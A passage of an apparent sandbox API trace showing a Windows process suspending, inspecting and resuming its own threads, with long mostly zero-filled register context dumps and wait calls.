[87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0158.879] SetThreadContext (hThread=0x194, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000b12f8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0159.100] ResumeThread (hThread=0x194) returned 0x1 [0159.100] CloseHandle (hObject=0x194) returned 1 [0159.100] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0159.209] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x194) returned 1 [0159.209] SuspendThread (hThread=0x194) returned 0x0 [0159.209] GetThreadContext (in: hThread=0x194, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001d3cd8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f6f7032, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0159.210] ResumeThread (hThread=0x194) returned 0x1 [0159.210] CloseHandle (hObject=0x194) returned 1 [0159.210] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0159.320] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0159.633] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0159.784] timeEndPeriod (uPeriod=0x1) returned 0x0 [0159.785] WaitForMultipleObjects (nCount=0x2, lpHandles=0x27b6fd48*=0xe8, bWaitAll=0, dwMilliseconds=0x73f1) returned 0x0 [0161.602] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0161.602] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x1bc) returned 1 [0161.603] SuspendThread (hThread=0x1bc) returned 0x0 [0161.603] GetThreadContext (in: hThread=0x1bc, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000b14d0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13faad0c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0161.609] SetThreadContext (hThread=0x1bc, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000b14c8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0161.610] ResumeThread (hThread=0x1bc) returned 0x1 [0161.610] CloseHandle (hObject=0x1bc) returned 1 [0161.610] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0161.716] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0161.823] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x1bc) returned 1 [0161.823] SuspendThread (hThread=0x1bc) returned 0x0 [0161.823] GetThreadContext (in: hThread=0x1bc, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000b10b0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f8a3660, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, 